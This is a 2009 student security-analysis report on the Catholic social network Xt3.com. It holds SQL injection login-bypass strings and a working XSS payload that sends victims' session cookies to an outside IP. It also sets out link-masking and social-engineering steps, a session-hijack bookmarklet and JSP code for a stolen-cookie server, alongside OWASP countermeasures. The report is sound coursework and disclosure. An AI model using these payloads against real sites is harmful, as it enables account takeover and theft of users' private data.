EECE 412 Project Report: Security Analysis of Xt3.com (December 4, 2009)

Jonathan Chau (neo1578@hotmail.com), Jonathan Wong (pandajj222@hotmail.com), Frank Ip (frankip28@hotmail.com), and Ken Ho (shiunken@gmail.com)

***Abstract*—This document analyzes the security deployed on XT3.com. XT3.com has assets of personal information and threats of such information can be misused and disclosed by scammers and marketers. The analysis identifies that XT3.com follows various number of security designs but violates the security design of questioning assumption. To demonstrate the potential hazard of violating this design, an XSS attack was made which allows session cookies to be stolen. Countermeasures recommended include securing foreign data input for web administrator and proper browsing habits for users.**

***Index Terms*—Assets, CIA, Threat, Threat Agent**

I. Introduction

SOCIAL networking sites are services that focuses on building online communities of people who share interests and/or activities, or who are interested in exploring the interests and activities of others. These sites began picking up popularity over the decade, and now over 200 of these sites exist with the most popular one (facebook) having up to 350 million users [1].

However, as the popularity for these sites grew, their inherent problems became more apparent. According to Wikipedia, these issues include: trolling, child safety, misuse and potential for "structural barrier between [the users'] private life and their parents". However, without a doubt the most prominent issue with social networking sites is definitely privacy.

Privacy is a serious problem with today's social networking sites due to the large number of threat agents interested in the privacy information of the users. "On large social networking services, there have been growing concerns about users giving out too much personal information and the threat of sexual predators"[1]. In addition, "there is [also] an issue over the control of data—information that was altered or removed by the user may in fact be retained and/or passed to 3rd parties"[1]. These retained data may be used for spamming operations. Even legitimate groups such as medical or scientific groups can be threat agents for social networking sites since "these sites often contain a great deal of data that is hard to obtain via traditional means [1]".

The motivation for this analysis stems from the responsibility that social networking sites need to protect their user's privacy from the mentioned threat agents. XT3.com, a catholic social networking site, was chosen for this analysis. Xt3.com is a relatively new social networking site but they have already garnered over 50 000 members. The site is also content driven and has features that ordinary social networking site does not have such as library search and prayer wall. We believe that these content and feature will eventually propel the site to be one of the top social networking domains of its specialization. This analysis will determine the security strength of today's new social networking site and whether or not they can protect the privacy of its users.

II. Analysis

As mentioned in the introduction, we performed a security analysis of the site www.xt3.com, a catholic social networking site. This section will discuss assets, threats, threat agents, CIA properties and security designs.

A. Assets, Threats and Threat Agents

The assets of Xt3 include:

- User's contact's information, including how the contact is related to the user
- Private messages with other users which could contain sensitive information
- Email address
- Personal information such as birthday, religious views, relationship status, public statement
- The Xt3 account login and password

Potential threats that might affect Xt3.com include:

- Disclosure (snooping) - revealing contact information, contents of private messages, personal details to threat agents
- Deception (modification and snooping) – pretending to be the user while he sends false messages to the

user's contacts and modifying user's contact information.
- Disruption – the intruder may delete the user's account

Threat Agents of Xt3.com may include:

- Identity Thieves
- Spammers
- Marketers
- Random hackers
- People that dislikes the user

B. Design Principles

Xt3 makes use of several principles for designing secure systems, they are:

- Least Privilege
- Complete Mediation
- Defense in Depth
- Psychological Usability

The Principle of Least Privilege[2] is satisfied by only giving enough privileges to the user to perform regular tasks like posting messages, searching the library, and viewing the site's content. If the user needs to perform administrator duties, they are required to provide further authentication.

Xt3 incorporates complete mediation into its design by checking if the user has the appropriate credentials before allowing them access to any resources. Users must log into the website before they are allowed to view members only material.

Defense in depth is achieved by requiring users to enter their password before they are allowed to modify any important account details such as their email or password, even if they are already logged in.

All the security features Xt3 provide are psychologically acceptable because they are quite easy to use. Making an account is an easy and straightforward process, and requiring the user to re-enter a password does not overly impede the user from modifying their account details.

Even though Xt3 incorporates numerous web-related security designs, they violated the security design of questioning all assumptions.

There was an oversight in the programming, most of their input fields are secured against cross site scripting, but they missed out on their Library search function.

The programmer for the function might have subconsciously assumed that the targeted text field will only be used as it was intended, i.e. only alphanumeric characters would be used. Thus, they have opened themselves up to an attack.

C. Techniques Used to Analyze XT3

To validate XT3.com's use of security designs, we attempted a variety of standard web attacks on the site. These attacks range from SQL injections to cross site scripting (XSS). The details of some of our attacks are described below:

1) SQL Injection

SQL injection is the act of submitting malicious SQL query string fragments in a request to a server in order to circumvent database-based security on the site [3].

Our first test for SQL injection was to see if we could log into Xt3 without using a password by inserting different SQL statements into the login and password fields. To test for this vulnerability, we tried the following statements:

```
1. login' or 1=1–
2. " or 1=1–
3. or 1=1–
4. ' or 'a'='a
5. " or "a"="a
6. ') or ('a'='a
```

This did not allow us to access the site, and instead it gave us a generic error message:

```
Invalid email or password. Please try again.
```

This shows us that Xt3 sanitizes the inputs from the login and password fields to remove quotes or other characters that can be used in a SQL injection attack.

2) Checking if Login Information is Encrypted

We viewed the source code for the Xt3 login page to determine if our login information was being sent in the clear or if it was encrypted. Scanning through the code, we found the line:

```
  <form name="loginForm"
action="https://www.xt3.com/index.php"
method="post" >
```

The form action indicates that the site uses HTTPS to send the login information from the client computer back to the website. This means the login and password are encrypted before being sent out, preventing hackers from stealing the login information if they intercept the request.

3) Cross Site Scripting

Cross-site scripting, or XSS, is a term for a category of security issues in which the attacker injects HTML tags or scripts into a target web site [4].

To check for XSS, we entered the following script into all the input fields we could find:

```
<script>alert("abc");</script>
```

Using the test script, we successfully found vulnerability in

Xt3's library search function.

III. DISCUSSION

After discovering the XSS vulnerability, we developed an attack plan focused on gaining access to the Xt3.com's assets with XSS. We decided to use the most straightforward attack, which was cookie session stealing. The theory of the attack is to use XSS to forward a victim's session cookie to our web-server, which will discreetly record the cookie without the victim being aware. If the victim uses the "Remember Me" function and did not legitimately "Log Out", then the cookie would remain valid, allowing us to gain access to the site. The following details the process of executing this attack.

First, we create a script that would be rendered in a common browser. Each browser has different rendering schemes, which may require a different script depending on the browser. For our, attack we tailored our script to be rendered on Firefox 3.5.5, which is the latest version of Firefox as of December 6 2009. We chose Firefox because it is one of the most popular web browsers, and the chances are that our victim would be using it.

Our initial tailored script:

```
<IFRAME SRC="javascript:alert(document.cookie);"></IFRAME>
```

This script creates an IFRAME on their browser and executes the JavaScript, which displays the current cookie in the frame. To make use of the cookie and perform session hijacking, we performed the following steps.

1) Further Modification of the Script

We modified the script to forward the user to a specific website and to include the cookie in the URL, as shown in the script below:

```
<IFRAME frameborder=0 height=0 width=0
SRC="javascript:document.
location='http://142.103.225.50:8080/eece412/?' +
document.cookie;" location=' ></IFRAME>
```

To make sure users do not see anything, we force the IFRAME to have a height and width of 0.

2) Create a Server

We created a webpage to parse the cookie information from the URL, and store the stolen cookies into a MySQL server.

To retrieve the stolen cookies, we created another webpage to query our database and display all the cookies onto the page. The code for this web-server can be found in the Appendix.

3) Create a URL

In order to get a user's cookie, we need them to execute our script into the library search input field. The easiest and most common method to do that is to create a web-link that users could unintentionally click on. We used the URL that Xt3.com generates when executing our script as our attack link:

```
http://www.xt3.com/library/list.php?libraryC
ontent=%3CIFRAME+frameborder%3D0+height%3D0+wi
dth%3D0+SRC%3D%22javascript%3Adocument.+locati
on%3D%27http%3A%2F%2F142.103.225.50%3A8080%2Fe
ece412%2F%3F%27+%2B+document.cookie%3B%22+loca
tion%3D%27+%3E%3C%2FIFRAME%3E
```

Since the URL is quite long and would make users suspicious, we mask it using www.tinyurl.com to create the final URL to send to a user, as shown below:

```
http://tinyurl.com/yk9dzy4
```

When a user clicks on the link, it brings them to the library search page, which simply states in the search field cannot be found. For most users, they would be unaware that their session cookie has been stolen.

4) Post the URL

To get a real user's login, we can post the URL onto the Xt3's public discussion board and wait for an unsuspecting user to click on the link, or we can target specific people and send a private message with the link.

We noticed when we create a new account, the administrator will send a private "Welcome to the site" message to the newly created account. We can target the administrator by replying back with a "Thank You, I have a question, is it ok to post this controversial article about…" message, and include the link.

If we want to improve our attack, we can modify the server to forward the user to an actual Catholic article and remove the size restriction on the IFRAME. This way when they click on the link, they are brought to a real article and they will not know that their session has been stolen. We could also further develop the script to auto send the link to all the user's friends.

5) Hijack the Session

We have not deployed this method to hijack a legitimate user's session because we believe it would be unethical as well as illegal. Thus, we created two accounts on this site to demonstrate that this method is viable.

First we went to the main page of Xt3. Then, we entered the script below into the URL and caused a dialog box to appear. This script allows us to enter a cookie with multiple values. We inserted the stolen session cookie into the input field, and hit enter.

```
javascript:void prompt("Insert the cookie
string",document.cookie).replace(/[^;]+/g,func
tion(_){document.cookie=_;});
```

If the user has not logged out of their session, we will have successfully hijacked their session without their knowledge.

D. CIA: Confidentiality, Integrity, Availability

With this attack, all aspects of the XT3.com's CIA (security element) are weakened.

By gaining access to another user's account through session stealing, integrity was weakened. The exposure of the user's personal info weakened confidentiality and finally our access allowed us to delete the victim's personal messages that weakened availability as well.

E. Attack weakness

This attack has several inherent weaknesses. First of all, the script is browser dependent. Each browser renders html differently. Thus the script we tailored for Firefox behaved differently for other browsers. For example, executing the same script on Internet Explorer will result a null value being passed to our web-server. On the other hand, while using Google Chrome, no information is passed.

The second weakness of the attack is the filtering that web administrator employed in field as a countermeasure to XSS. This method is flawed but it does provide some resistance to our XSS attacks.

Despite these draw back, there are online resources such as: http://ha.ckers.org/xss.html that provide many ways to tailor scripts to a specific browser and filter evasion.

F. Countermeasures

There are two aspects to our attack: Cross-site scripting and cookie session stealing. Counter measures must be employed by both the web administrator and user to completely negate this attack.

The easiest way to protect against XSS attacks, is filter out meta-characters such as "(", "<", "&" and "#" from user input fields. However, filtering is not a complete solution. The proper way to stop XSS is to use "Escaping" techniques in the code. "Escaping' is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter's parser" [5]. OWASP provided several rules to preventing XSS and they are:

RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content

Rule #1 is for when you want to put untrusted data directly into the HTML body somewhere. This includes inside normal tags like div, p, b, td, etc. Most web frameworks have a method for HTML escaping for the characters detailed below. However, this is absolutely not sufficient for other HTML contexts.

RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes

Rule #2 is for putting untrusted data into typical attribute values like width, name, value, etc. This should not be used for complex attributes like href, src, style, or any of the event handlers like onmouseover. It is extremely important that event handler attributes should follow Rule #3 for HTML JavaScript Data Values.

RULE #3 - JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values

Rule #3 concerns the JavaScript event handlers that are specified on various HTML elements. The only safe place to put untrusted data into these event handlers as a quoted "data value." Including untrusted data inside any other code block is quite dangerous, as it is very easy to switch into an execution context, so use with caution.

RULE #4 - CSS Escape Before Inserting Untrusted Data into HTML Style Property Values

Rule #4 is for when you want to put untrusted data into a style sheet or a style tag. CSS is surprisingly powerful, and can be used for numerous attacks. Therefore, it's important that you only use untrusted data in a property value and not into other places in style data. You should stay away from putting untrusted data into complex properties like URL, behavior, and custom (-moz-binding). You should also not put untrusted data into IE's expression property value which allows JavaScript.

RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Attributes

Rule #5 is for when you want to put untrusted data into a link to another location. This includes href and src attributes. There are a few other location attributes, but we recommend against using untrusted data in them. One important note is that using untrusted data in JavaScript: URLs is a very bad idea, but you could possibly use the HTML JavaScript Data Value rule above.

*To see implementation example of each of these rules, visit *http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet*

To prevent cookie session theft, users of XT3 must deploy countermeasure. The countermeasure is simply to adopt proper browsing habits. For example, the user should always log out of the site when they are not using it; this will invalidate the session cookie. Simply closing the browser would not be sufficient, the only way to invalidate the cookie is to click on the "Log Out" link on the site, usually located on the upper left

corner of a website. Users should also be wary of clicking on links sent to them. This includes links from people they know as their friend's account might have been compromised.

IV. Conclusion

Social networking site vulnerability is a growing problem. As they hold countless users' personal information, there are many threat agents, such as spammers, identity thieves and marketers, who are interested in these assets.

Our analysis was on Xt3.com, a relatively new but fast growing Catholic social networking site. In our analysis, we found that the site incorporated many security design in effort to make their site secure against a variety of threats. However, an oversight on the development violated one of the design principles of Questioning Assumptions and in return it made them vulnerable to Cross-Site Scripting. We demonstrated, that a simple vulnerability such as Cross-Site scripting allowed all aspects of CIA to be compromised.

We recommended countermeasures to our attacks, through the use of "Escaping" programming technique and proper browsing habits for users. Overall, the analysis of XT3.com generated awareness of the growing problem of insecure sites and especially insecure social networking sites.

Appendix

Index.Jsp

```
THIS JSP PAGE IS USED TO PARSE THE COOKIE FROM THE URL
<%@ PAGE LANGUAGE="JAVA" CONTENTTYPE="TEXT/HTML; CHARSET=ISO-
8859-1"
 PAGEENCODING="ISO-8859-1"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
TRANSITIONAL//EN"
    "HTTP://WWW.W3.ORG/TR/HTML4/LOOSE.DTD">
<%@ PAGE LANGUAGE="JAVA" IMPORT="JAVA.SQL.*"%>
<HTML>
<HEAD>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="TEXT/HTML;
CHARSET=ISO-8859-1">
<TITLE>COOKIE MONSTER</TITLE>
</HEAD>
<BODY>
<% JAVA.UTIL.DATE D = NEW JAVA.UTIL.DATE(); %>
<%CLASS.FORNAME("COM.MYSQL.JDBC.DRIVER").NEWINSTANCE();
CONNECTION CON=NULL;
RESULTSET RST=NULL;
STATEMENT STMT=NULL;
INT ROWCOUNT = 0;
STRING COOKIE = NULL;
TRY{
   COOKIE = REQUEST.GETQUERYSTRING();
   OUT.PRINTLN("COOKIE IS:  " + COOKIE);

   STRING
CONNECTIONURL="JDBC:MYSQL://LOCALHOST:3306/EECE412";
   CON = DRIVERMANAGER.GETCONNECTION(CONNECTIONURL, "ROOT",
"ROOT");
   STRING APPLE = "INSERT INTO COOKIES (COOKIE) VALUES('"+
COOKIE + "')";
   STMT=CON.CREATESTATEMENT();
   ROWCOUNT=STMT.EXECUTEUPDATE(APPLE);
}CATCH(EXCEPTION E){
   SYSTEM.OUT.PRINTLN(E.GETMESSAGE());
   } %>
</BODY>
</HTML>
```

Results.JSP

```
THIS JSP PAGE IS USED TO DISPLAY ALL THE COOKIES IN THE DATABASE
<%@ PAGE LANGUAGE="JAVA" CONTENTTYPE="TEXT/HTML; CHARSET=ISO-
8859-1"
    PAGEENCODING="ISO-8859-1"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
TRANSITIONAL//EN"
    "HTTP://WWW.W3.ORG/TR/HTML4/LOOSE.DTD">
<%@ PAGE LANGUAGE="JAVA" IMPORT="JAVA.SQL.*"%>
<HTML>
<HEAD>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="TEXT/HTML;
CHARSET=ISO-8859-1">
<TITLE>RESULTS</TITLE>
</HEAD>
<BODY>


<%
CLASS.FORNAME("COM.MYSQL.JDBC.DRIVER").NEWINSTANCE();

CONNECTION CON=NULL;
STATEMENT STMT=NULL;
STRING COOKIE = NULL;
RESULTSET RS = NULL;

TRY{
   STRING
CONNECTIONURL="JDBC:MYSQL://LOCALHOST:3306/EECE412";
   CON = DRIVERMANAGER.GETCONNECTION(CONNECTIONURL, "ROOT",
"ROOT");
```

```
   String apple = "Select cookie from cookies";
   stmt=con.createStatement();
   rs = stmt.executeQuery(apple);
   while(rs.next()){
      cookie = rs.getString(1);
      out.println(cookie + "<br /> <br /> ");

   }

}catch(Exception e){
   System.out.println(e.getMessage());
   }
%>
</body>
</html>
```

References

[1] Wikipedia " List of social networking websites" [Online]. Available: http://en.wikipedia.org/wiki/List_of_social_networking_websites [Accessed: Dec 5, 2009]

[2] JD Saltzer, MD Schroeder, "The Protection of Information in Computer Systems," in *Proceedings of the IEEE*, v 63 no 9 (Mar 1975), pp 1278–1308.

[3] Brittain, Jason; Darwin, Ian. "Tomcat: The Definitive Guide" O'Reilly Media, O'Reilly & Associates, Sebastopol, California, 3rd edition, 2007.

[4] Flanagan, David. "JavaScript: The Definitive Guide" O'Reilly & Associates, Sebastopol, California, 3rd edition, 2000.

[5] XSS (Cross Site Scripting) Prevention Cheat Sheet (2009, November). [Online]. Available: http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet [Accessed: Dec 5, 2009]